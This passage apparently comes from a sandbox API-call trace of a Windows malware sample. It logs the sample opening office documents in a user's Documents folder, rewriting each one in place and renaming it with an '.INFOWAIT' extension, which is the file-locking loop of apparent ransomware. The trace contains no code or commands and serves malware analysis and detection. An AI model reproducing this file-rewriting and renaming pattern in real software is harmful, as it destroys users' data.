moQN7y4K4.ots" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots" [0119.092] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots.INFOWAIT" [0119.092] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\pjrrywz moqn7y4k4.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\pjrrywz moqn7y4k4.ots.infowait")) returned 1 [0119.092] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.093] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.094] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\r7-fdg2ej6-et_j.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.094] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5ec1 [0119.094] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.094] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.095] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5ec1, lpOverlapped=0x0) returned 1 [0119.099] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.102] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.102] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5ec1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5ec1, lpOverlapped=0x0) returned 1 [0119.102] CloseHandle (hObject=0xad4) returned 1 [0119.103] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc" [0119.103] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc.INFOWAIT" [0119.103] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\r7-fdg2ej6-et_j.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\r7-FdG2eJ6-ET_j.doc.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\r7-fdg2ej6-et_j.doc.infowait")) returned 1 [0119.104] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.105] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.106] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\flecvhr.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.120] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11177 [0119.120] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.120] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.120] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11177, lpOverlapped=0x0) returned 1 [0119.124] VirtualAlloc (lpAddress=0x0, dwSize=0x11177, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.131] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.131] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x11177, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x11177, lpOverlapped=0x0) returned 1 [0119.132] CloseHandle (hObject=0xad4) returned 1 [0119.138] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls" [0119.138] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls.INFOWAIT" [0119.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\flecvhr.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\FLEcvhR.xls.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\flecvhr.xls.infowait")) returned 1 [0119.140] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.141] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.141] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\c4-yyhr.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.142] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15467 [0119.142] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.143] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.143] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15467, lpOverlapped=0x0) returned 1 [0119.148] VirtualAlloc (lpAddress=0x0, dwSize=0x15467, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.156] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.156] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x15467, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x15467, lpOverlapped=0x0) returned 1 [0119.156] CloseHandle (hObject=0xad4) returned 1 [0119.158] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods" [0119.158] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods.INFOWAIT" [0119.158] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\c4-yyhr.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\c4-yyhR.ods.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\c4-yyhr.ods.infowait")) returned 1 [0119.159] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.160] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.161] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\obgime5jo2.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.162] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc9db [0119.162] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.162] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.162] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc9db, lpOverlapped=0x0) returned 1 [0119.167] VirtualAlloc (lpAddress=0x0, dwSize=0xc9db, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.172] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.172] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc9db, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc9db, lpOverlapped=0x0) returned 1 [0119.172] CloseHandle (hObject=0xad4) returned 1 [0119.175] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx" [0119.175] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx.INFOWAIT" [0119.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\obgime5jo2.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\obgiME5jO2.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\obgime5jo2.docx.infowait")) returned 1 [0119.176] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.177] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.178] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\tko6bl.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.179] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12200 [0119.179] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.179] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.179] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x12200, lpOverlapped=0x0) returned 1 [0119.184] VirtualAlloc (lpAddress=0x0, dwSize=0x12200, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.191] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.191] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x12200, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x12200, lpOverlapped=0x0) returned 1 [0119.191] CloseHandle (hObject=0xad4) returned 1 [0119.198] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp" [0119.199] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp.INFOWAIT" [0119.199] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\tko6bl.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\tkO6bl.odp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\tko6bl.odp.infowait")) returned 1 [0119.199] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.200] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.201] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\u9tsibmpae-s.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.203] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x134a9 [0119.203] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.203] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.203] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x134a9, lpOverlapped=0x0) returned 1 [0119.207] VirtualAlloc (lpAddress=0x0, dwSize=0x134a9, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.213] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.214] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x134a9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x134a9, lpOverlapped=0x0) returned 1 [0119.214] CloseHandle (hObject=0xad0) returned 1 [0119.222] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt" [0119.222] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt.INFOWAIT" [0119.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\u9tsibmpae-s.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\U9tSiBmpae-S.ppt.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\u9tsibmpae-s.ppt.infowait")) returned 1 [0119.224] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.226] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.227] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 